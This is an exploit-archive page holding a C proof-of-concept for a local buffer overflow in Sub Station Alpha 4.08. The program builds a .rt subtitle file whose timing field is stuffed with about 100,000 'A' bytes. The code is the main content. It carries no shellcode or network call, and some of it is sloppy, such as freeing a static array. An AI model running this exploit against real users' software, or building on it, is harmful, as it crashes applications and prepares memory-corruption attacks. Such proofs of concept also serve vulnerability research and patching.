Exploit the possiblities

Sub Station Alpha 4.08 Buffer Overflow

Sub Station Alpha 4.08 Buffer Overflow
Posted Jan 15, 2010
Authored by fl0 fl0w

Sub Station Alpha version 4.08 .rt file local buffer overflow proof of concept exploit.

tags | exploit, overflow, local, proof of concept
MD5 | d15c93ce4b99bb84a41e6b4183747c43

Sub Station Alpha 4.08 Buffer Overflow

Change Mirror Download
/*Sub Station Alpha v4.08 .rt file local buffer overflow poc
by fl0 fl0w*/
#include <string.h>
#include <stdio.h>

#define FIL3 "testfile.rt"
char header[]=
{
"\x3C\x77\x69\x6E\x64\x6F\x77\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x32\x35\x30\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x33\x30"
"\x30\x22\x20\x64\x75\x72\x61\x74\x69\x6F\x6E\x3D\x22\x31\x35\x22\x20\x62\x67\x63\x6F\x6C\x6F\x72\x3D\x22\x79\x65\x6C\x6C"
"\x6F\x77\x22\x3E\x0D\x0A\x4D\x61\x72\x79\x20\x68\x61\x64\x20\x61\x20\x6C\x69\x74\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D"
"\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22" //header 109 bytes
};
char tail[]=
{
//junk
"\x22\x2F\x3E\x0D\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x36\x22\x2F\x3E\x6C\x69\x74"
"\x74\x6C\x65\x20\x6C\x61\x6D\x62\x2C\x0D\x0A\x3C\x62\x72\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x39"
"\x22\x2F\x3E\x4D\x61\x72\x79\x20\x68\x61\x64\x20\x61\x20\x6C\x69\x74\x74\x6C\x65\x20\x6C\x61\x6D\x62\x0D\x0A\x3C\x62\x72"
"\x2F\x3E\x3C\x74\x69\x6D\x65\x20\x62\x65\x67\x69\x6E\x3D\x22\x31\x32\x22\x2F\x3E\x77\x68\x6F\x73\x65\x20\x66\x6C\x65\x65"
"\x63\x65\x20\x77\x61\x73\x20\x77\x68\x69\x74\x65\x20\x61\x73\x20\x73\x6E\x6F\x77\x2E\x0D\x0A\x3C\x2F\x77\x69\x6E\x64\x6F"
"\x77\x3E\x0D\x0A" //tail 154 bytes
};
char banner[]=
{
"***********************************************************\n"
"Sub Station Alpha v4.08 .rt file local buffer overflow poc*\n"
" by fl0 fl0w *\n"
"***********************************************************\n"
};
/*--------prototypes------*/
int cpy(char*,char*,int);
int cpystr(char*,int,int,int);
void print(char*);
unsigned int getFsize(FILE*,char*);
/*-----extern var--------*/
char b[1000000];
char *size;
char junk[1000000];
/*--------main---------------*/
int main()
{
printf("%s",banner);
print("Starting sploit");
memset(junk,0x41,99999);
buildf(FIL3);
print("File done!");
getchar();
return 0;
}
int buildf(char* fname)
{
FILE* fp=fopen(fname,"wb");

if(fp==NULL)
{
print("File writing error");
exit(0);
}
fprintf(fp,"%s%s%s",header,junk,tail);
printf("[!]File is %d bytes",getFsize(fp,FIL3));
fclose(fp);
free(b);

return 0;
}
unsigned int getFsize(FILE* g,char* gname)
{
unsigned int s;

g=fopen(gname,"rb");

if(g==NULL)
{
print("File error at reading");
exit(0);
}
fseek(g,0,SEEK_END);
s=ftell(g);

return s;
}
int cpy(char* source,char* dest,int offset)
{
int len;
len=strlen(source);
memcpy(dest+offset,source,len+1);

return len;
}
int cpystr(char* dest,int str,int len,int offset)
{
memset(dest+offset,str,len+1);
return len;
}
void print(char* msg)
{
printf("\n[*]%s\n",msg);
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

January 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    2 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    16 Files
  • 4
    Jan 4th
    39 Files
  • 5
    Jan 5th
    26 Files
  • 6
    Jan 6th
    40 Files
  • 7
    Jan 7th
    2 Files
  • 8
    Jan 8th
    16 Files
  • 9
    Jan 9th
    25 Files
  • 10
    Jan 10th
    28 Files
  • 11
    Jan 11th
    44 Files
  • 12
    Jan 12th
    32 Files
  • 13
    Jan 13th
    2 Files
  • 14
    Jan 14th
    4 Files
  • 15
    Jan 15th
    31 Files
  • 16
    Jan 16th
    15 Files
  • 17
    Jan 17th
    16 Files
  • 18
    Jan 18th
    24 Files
  • 19
    Jan 19th
    7 Files
  • 20
    Jan 20th
    0 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    0 Files
  • 24
    Jan 24th
    0 Files
  • 25
    Jan 25th
    0 Files
  • 26
    Jan 26th
    0 Files
  • 27
    Jan 27th
    0 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close